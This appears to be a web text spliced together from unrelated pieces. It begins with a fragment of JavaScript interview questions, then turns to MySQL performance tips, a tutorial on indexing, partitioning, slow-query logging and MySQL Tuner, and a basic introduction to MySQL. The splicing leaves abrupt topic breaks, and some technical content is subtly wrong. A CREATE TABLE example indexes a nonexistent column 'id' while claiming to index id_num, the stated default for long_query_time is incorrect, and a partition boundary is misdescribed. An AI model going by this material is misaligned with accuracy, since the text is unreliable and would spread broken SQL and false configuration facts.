Q: What is the difference between .call() and .apply()?

The JavaScript Function prototype has two very powerful functions that are at the core of Javascript’s “everything is an object” mentality, including functions, Kubasik says.

“The really important part of this discussion is not that they remember which is which, but more that the interviewee understands that the “this” keyword is not as predictable as in other languages, and that functions can be applied to other objects, and generally be treated as data,” he says.

Q: Can you explain how inheritance works in JavaScript?

JavaScript has a somewhat unique inheritance model and a good understanding of it is crucial to using JavasScript in larger applications, Kubasik says. “We are looking for the applicant to discuss not only prototypes, and how that affects inheritance, but in what ways this can be more flexible than classical inheritance models seen in Java and C#.”

Here are 10 tips for getting great performance out of MySQL.

MySQL performance tip No. 1: Profile your workload

The best way to understand how your server spends its time is to profile the server’s workload. By profiling your workload, you can expose the most expensive queries for further tuning. Here, time is the most important metric because when you issue a query against the server, you care very little about anything except how quickly it completes.

The best way to profile your workload is with a tool such as MySQL Enterprise Monitor’s query analyzer or the pt-query-digest from the Percona Toolkit. These tools capture queries the server executes and return a table of tasks sorted by decreasing order of response time, instantly bubbling up the most expensive and time-consuming tasks to the top so that you can see where to focus your efforts.

Workload-profiling tools group similar queries together into one row, allowing you to see the queries that are slow, as well as the queries that are fast but executed many times.

MySQL performance tip No. 2: Understand the four fundamental resources
To function, a database server needs four fundamental resources: CPU, memory, disk, and network. If any of these is weak, erratic, or overloaded, then the database server is very likely to perform poorly.

Understanding the fundamental resources is important in two particular areas: choosing hardware and troubleshooting problems.

When choosing hardware for MySQL, ensure good-performing components all around. Just as important, balance them reasonably well against each other. Often, organizations will select servers with fast CPUs and disks but that are starved for memory. In some cases, adding memory is cheap way of increasing performance by orders of magnitude, especially on workloads that are disk-bound. This might seem counterintuitive, but in many cases disks are overutilized because there isn’t enough memory to hold the server’s working set of data.

Another good example of this balance pertains to CPUs. In most cases, MySQL will perform well with fast CPUs because each query runs in a single thread and can’t be parallelized across CPUs.

When it comes to troubleshooting, check the performance and utilization of all four resources, with a careful eye toward determining whether they are performing poorly or are simply being asked to do too much work. This knowledge can help solve problems quickly.

MySQL performance tip No. 3: Don’t use MySQL as a queue
Queues and queue-like access patterns can sneak into your application without your knowing it. For example, if you set the status of an item so that a particular worker process can claim it before acting on it, then you’re unwittingly creating a queue. Marking emails as unsent, sending them, then marking them as sent is a common example.

Queues cause problems for two major reasons: They serialize your workload, preventing tasks from being done in parallel, and they often result in a table that contains work in process as well as historical data from jobs that were processed long ago. Both add latency to the application and load to MySQL.

MySQL performance tip No. 4: Filter results by cheapest first
A great way to optimize MySQL is to do cheap, imprecise work first, then the hard, precise work on the smaller, resulting set of data.

For example, suppose you’re looking for something within a given radius of a geographical point. The first tool in many programmers’ toolbox is the great-circle (Haversine) formula for computing distance along the surface of a sphere. The problem with this technique is that the formula requires a lot of trigonometric operations, which are very CPU-intensive. Great-circle calculations tend to run slowly and make the machine’s CPU utilization skyrocket.

Before applying the great-circle formula, pare down your records to a small subset of the total, and trim the resulting set to a precise circle. A square that contains the circle (precisely or imprecisely) is an easy way to do this. That way, the world outside the square never gets hit with all those costly trig functions.

MySQL performance tip No. 5: Know the two scalability death traps
Scalability is not as vague as you may believe. In fact, there are precise mathematical definitions of scalability that are expressed as equations. These equations highlight why systems don’t scale as well as they should.

Take the Universal Scalability Law, a definition that is handy in expressing and quantifying a system’s scalability characteristics. It explains scaling problems in terms of two fundamental costs: serialization and crosstalk.

Parallel processes that must halt for something serialized to take place are inherently limited in their scalability. Likewise, if the parallel processes need to chat with each other all the time to coordinate their work, they limit each other.

Avoid serialization and crosstalk, and your application will scale much better. What does this translate into inside of MySQL? It varies, but some examples would be avoiding exclusive locks on rows. Queues, point No. 3 above, tend to scale poorly for this reason.

MySQL performance tip No. 6: Don’t focus too much on configuration
DBAs tend to spend a huge amount of time tweaking configurations. The result is usually not a big improvement and can sometimes even be very damaging. I’ve seen a lot of “optimized” servers that crashed constantly, ran out of memory, and performed poorly when the workload got a little more intense.

The defaults that ship with MySQL are one-size-fits-none and badly outdated, but you don’t need to configure everything. It’s better to get the fundamentals right and change other settings only if needed. In most cases, you can get 95 percent of the server’s peak performance by setting about 10 options correctly. The few situations where this doesn’t apply are going to be edge cases unique to your circumstances.

In most cases, server “tuning” tools aren’t recommended because they tend to give guidelines that don’t make sense for specific cases. Some even have dangerous, inaccurate advice coded into them — such as cache hit ratios and memory consumption formulas. These were never right, and they’ve gotten even less correct as time has passed.

MySQL performance tip No. 7: Watch out for pagination queries
Applications that paginate tend to bring the server to its knees. In showing you a page of results, with a link to go to the next page, these applications typically group and sort in ways that can’t use indexes, and they employ a LIMIT and offset that causes the server to do a lot of work generating, then discarding rows.

Optimizations can often be found in the user interface itself. Instead of showing the exact number of pages in the results and links to each page individually, you can just show a link to the next page. You can also prevent people from going to pages too far from the first page.

On the query side, instead of using LIMIT with offset, you can select one more row than you need, and when the user clicks the “next page” link, you can designate that final row as the starting point for the next set of results. For example, if the user viewed a page with rows 101 through 120, you would select row 121 as well; to render the next page, you’d query the server for rows greater than or equal to 121, limit 21.

MySQL performance tip No. 8: Save statistics eagerly, alert reluctantly
Monitoring and alerting are essential, but what happens to the typical monitoring system? It starts sending false positives, and system administrators set up email filtering rules to stop the noise. Soon your monitoring system is completely useless.

I like to think about monitoring in two ways: capturing metrics and alerting. It’s very important to capture and save all the metrics you possibly can because you’ll be glad to have them when you’re trying to figure out what changed in the system. Someday, a strange problem will crop up, and you’ll love the ability to point to a graph and show a change in the server’s workload.

MySQL performance tip No. 9: Learn the three rules of indexing
Indexing is probably the most misunderstood topic in databases because there are so many ways to get confused about how indexes work and how the server uses them. It takes a lot of effort to really understand what’s going on.

Indexes, when properly designed, serve three important purposes in a database server:

They let the server find groups of adjacent rows instead of single rows. Many people think the purpose of an index is to find individual rows, but finding single rows leads to random disk operations, which is slow. It’s much better to find groups of rows, all or most of which are interesting, than to find rows one at a time.
They let the server avoid sorting by reading the rows in a desired order. Sorting is costly. Reading rows in the desired order is much faster.
They let the server satisfy entire queries from the index alone, avoiding the need to access the table at all. This is variously known as a covering index or an index-only query.

If you can design your indexes and queries to exploit these three opportunities, you can make your queries several orders of magnitude faster.

MySQL performance tip No. 10: Leverage the expertise of your peers
Don’t try to go it alone. If you’re puzzling over a problem and doing what seems logical and sensible to you, that’s great. This will work about 19 times out of 20. The other time, you’ll go down a rabbit hole that will be very costly and time-consuming, precisely because the solution you’re trying seems to make a lot of sense.

Build a network of MySQL-related resources — and this goes beyond toolsets and troubleshooting guides. There are some extremely knowledgeable people lurking on mailing lists, forums, Q&A websites, and so on. Conferences, trade shows, and local user group events provide valuable opportunities for gaining insights and building relationships with peers who can help you in a pinch.

Databases tend to grow over time as they store more and more information. To ensure your database information can be accessed in the shortest time possible, you need to learn a few tricks to speed up data retrieval. For MySQL databases, you can use indexes and partitions to limit the amount of data that MySQL has to traverse to fetch query results, and use some other optimization tricks to further improve performance.

For a specific type of frequently accessed data, creating an index is the best way to speed things up. For example, if you have a table with 20 columns, of which one column is frequently accessed, you can create an index for that column to speed up lookups on it. If there are no indexes, MySQL performs a full table scan to retrieve data. It examines all the records in the table, one after another, until either the last record is read or the query is satisfied. With an index, however, MySQL can look up data without having to read each record of the table. As soon as a match is found in the index, you’re pointed to the data in the actual table. Think of it like an index in a book. When looking for a particular topic, you can either flip through the pages until you reach the end of the book or find what you’re looking for, or you can visit the index to reveal the page number for the topic you’re interested in.

When you create an index for a field, MySQL collects all the information in that particular column, sorts it, and then stores it in a unique object or file, separate from the table, along with references to the original table with the unsorted data.

Maintaining indexes does require additional resources. If you create an index for a table that is frequently updated, all the DELETE, INSERT, and UPDATE statements must also update the index, in addition to the data table itself. Frequent alterations on indexes place an additional load on the server and may slow down other important processes, so you shouldn’t create indexes for all fields, but only for ones that are often queried for information, and where the table is large enough (with several thousands of rows or more) to necessitate faster retrieval.

The way the indexing works also depends on the type of storage engine you use to create the tables for your MySQL database. Up until version 5.5, MyISAM was the default storage engine, but InnoDB has taken its place as the default as of MySQL 5.5 – though you can define the default storage engine in the my.cnf file or manually specify the engine to use when creating tables.

On top of this, there are several different types of indexes that you can use, such as B-Tree or Hash. Your choice of index depends on the storage engine you use.
Using Indexes

You can create an index for a table while creating the table itself, or create an index for existing tables. The following code creates a new table with an index on one of the columns:

CREATE TABLE records (
name VARCHAR(50),
age INT,
id_num INT, INDEX (id)

)

This creates an index named id for the id_num column on the table. For an existing table, the command would be CREATE INDEX id ON records(id_num).

To simultaneously create an index on multiple columns for an existing table, use a command like ALTER TABLE records ADD INDEX id(id_num), ADD INDEX name(name);.

As MySQL is unaware of the exact nature of data stored in a field, other than the data type (whether CHAR or INT), it will create an index using the full length of the data. So, if you have a table of songs, for instance, and you create an index on the 50-character name field, MySQL will store the entire length of the name for every song in the database. In a case like this, it might be wiser to store only the first 20 characters in the index, instead of the full length; that should give you enough characters to help you distinguish between songs. For large databases with very long columns, it would be a waste of space to store the entire name in the index.

You can restrict the length of the data to 20 characters by specifying it along with the name of the column, like so:

ALTER TABLE records ADD INDEX id(id_num), ADD INDEX name(name(20));

An improperly configured index can slow down a server by hoarding its resources, so you need to have a firm grasp of the underlying technology, particularly if you’re using the InnoDB storage engine. Take some time to familiarize yourself with the intricacies of InnoDB and how it works with primary key and secondary key indexes.
Partition MySQL Tables

The second trick, using partitions, is ideal for very large tables with several hundred thousand rows or more. While you can also partition tables with only several thousand rows, you will notice a remarkable difference in lookup times for the larger tables.

You can divide either a table’s rows (called horizontal partitioning) or columns (vertical partitioning) into partitions. When you do so, instead of traversing the entire table, MySQL queries only the relevant partition, which greatly reduces the lookup times.

A partition can have any number of rows or columns, but you should try to keep partitions relatively small compared to the size of the table if you want to see performance gains. Each table can be divided into 1,024 partitions at most.

Before you try to partition a table, first check whether your version of MySQL was built with partitioning support. When compiling MySQL from source, you need to use the -DWITH_PARTITION_STORAGE_ENGINE option to build partitioning support; the MySQL software package distributed in the repositories of most distributions comes with the partitions option built-in. To check, run SHOW PLUGINS; at the MySQL prompt, which will print a tabular list of all plugins and their status. Make sure that partition is listed as one of the plugins; if it isn’t, you can’t use the partitioning feature of MySQL.

You can create partitions when creating a table, or alter an existing table to partition its data set. You can create various types of partitions, such as RANGE, LIST, and HASH. The most commonly used is Range, where each partition is defined to accept a specific range of values for some column. What partition suits your table best will depend on the type of data stored in the table.

You must use the PARTITION BY keyword to define how the partitions are to be effected. So, to create a partition based on a range of data such as year, use the PARTITION BY RANGE(YEAR(order_date)) clause, like so:

CREATE TABLE employees (
order_date DATETIME NOT NULL,
— Other columns omitted
) PARTITION BY RANGE(YEAR(order_date)) (
PARTITION p_2009 VALUES LESS THAN (2009),
PARTITION p_2010 VALUES LESS THAN (2010),
PARTITION p_all VALUES LESS THAN MAXVALUE );

This command will create three partitions on the table employees, one for each of the specified years. Here, the first partition holds data for all years up to 2009, while the last partition, p_all, holds all the records that are left over after the other records are partitioned. The data is partitioned as soon as it matches a partitioning criterion, so no two partitions can have the same data.

When querying data from a partitioned table, you don’t need to specify the partition; the query remains the same whether or not you use partitions. MySQL will automatically deduce which partition to retrieve the information from.

As with indexes, there’s a small performance penalty with partitioning. When you insert new rows into a partitioned table, MySQL has to determine which partition the new data should go into, and this requires resources. While this additional drain on resources isn’t necessarily crippling, you have to take it into account when creating partitions. Depending on the size of the table, it might be wise to use dozens of partitions, but once you start reaching into the hundreds, take due care that using partitions itself doesn’t affect performance.
Identify Slow Queries

One of the best thing about MySQL is that it can help you identify the queries that take up the most resources via its slow-query-log.

MySQL doesn’t record slow queries by default; running mysqladmin var | grep log_slow_queries in the terminal will confirm this for you. To enable the option, edit the my.cnf configuration file and add these lines under the [mysqld] block:

long_query_time = 1
log-slow-queries = /var/log/mysql/mysql-slow-query.log

The default long_query_time is 0, but we’ve set it to 1 here to make MySQL log all queries that take longer than 1 second to execute. Feel free to change this value, as well as the location for the log file. When you’re done, you need to restart the MySQL server with the command /etc/init.d/mysql restart for the changes in the my.cnf file to take effect.

You can then use the mysqldumpslow command-line tool, included with MySQL, to get a summary of the slow-query-log file. If you see a list of queries that are taking too much time to execute, you can try to find out why.

Explain is one of the most widely used MySQL query analysis tool available. When used with a SELECT statement, it reveals a wide array of information, such as the number of tables involved in the statement, how the data is looked up, if there are any subqueries, whether any indexes are used, and much more. You can run Explain on each of of the slow queries to determine why the statements are slow. Once you know the causes, you should be able to figure out how to fix the problems.
Fix That Configuration File

One final tip: MySQL Tuner is a Perl script that you can run to test your MySQL performance. Based on the results, and other observations, the script will then advise what changes you can make in the configuration file to improve performance.

At the terminal, type wget http://mysqltuner.com/mysqltuner.pl to download the script. Make the script executable with the command chmod +x mysqltuner.pl. Run it by typing ./mysqltuner.pl; you will be prompted for your MySQL root password.

The output from the script is divided into sections. The General and Storage Engine Statistics at the top tells you the number of tables in each of the different storage engines. Performance Metrics lists parameters the script checks the system for, such as slow queries, memory usage, and temporary tables. Finally, the Recommendations section lists all the variables that you need to adjust in the configuration files.

What is MySQL

1. MySQL is a open source Relational Database Management System developed by Michael Widenius and David Axmark in 1994.

2. MySQL is very popular when it comes to Web development. It is widely-used as the database component of LAMP web application software stack.

3. Source code of MySQL is available under GNU General Public License.

4. MySQL is maintained by a Swedish company MySQL AB, now owned by Oracle Corporation.

Key features of MySQL

1. MySQL follows ANSI SQL 99, the standard SQL.

2. Cross Platform.

3. RDBMS features like Stored procedures, Triggers, Cursors, Views which can be updated, True Varchar support, Query caching, Sub-SELECT etc.

4.Support for replication.

5. Support for hotbackup.

6. Support for MySQL cluster.

7. Full-text indexing and searching.

8. SSL support.

9. Partial Unicode support.

MySQL Tutorial

MySQL is currently the most popular open source database server in existence. On top of that, it is very commonly used in conjunction with PHP scripts to create powerful and dynamic server-side applications

MySQL has been criticized in the past for not supporting all the features of other popular and more expensive DataBase Management Systems. However, MySQL continues to improve with each release (currently version 5), and it has become widely popular with individuals and businesses of many different sizes.

what is a database?

A database is a structure that comes in two flavors: a flat database and a relational database. A relational database is much more oriented to the human mind and is often preferred over the gabble-de-gook flat database that are just stored on hard drives like a text file. MySQL is a relational database.

In a relational structured database there are tables that store data. The columns define which kinds of information will be stored in the table. An individual column must be created for each type of data you wish to store (i.e. Age, Weight, Height).

On the other hand, a row contains the actual values for these specified columns. Each row will have 1 value for each and every column. For example a table with columns (Name, Age, Weight-lbs) could have a row with the values (Bob, 65, 165). If all this relational database talk is too confusing, don’t despair. We will talk about and show a few examples in the coming lessons.

why use a database?

Databases are most useful when it comes to storing information that fits into logical categories. For example, say that you wanted to store information of all the employees in a company. With a database you can group different parts of your business into separate tables to help store your information logically. Example tables might be: Employees, Supervisors, and Customers. Each table would then contain columns specific to these three areas. To help store information related to each employee, the Employees table might have the following columns: Hire, Date, Position, Age, and Salary.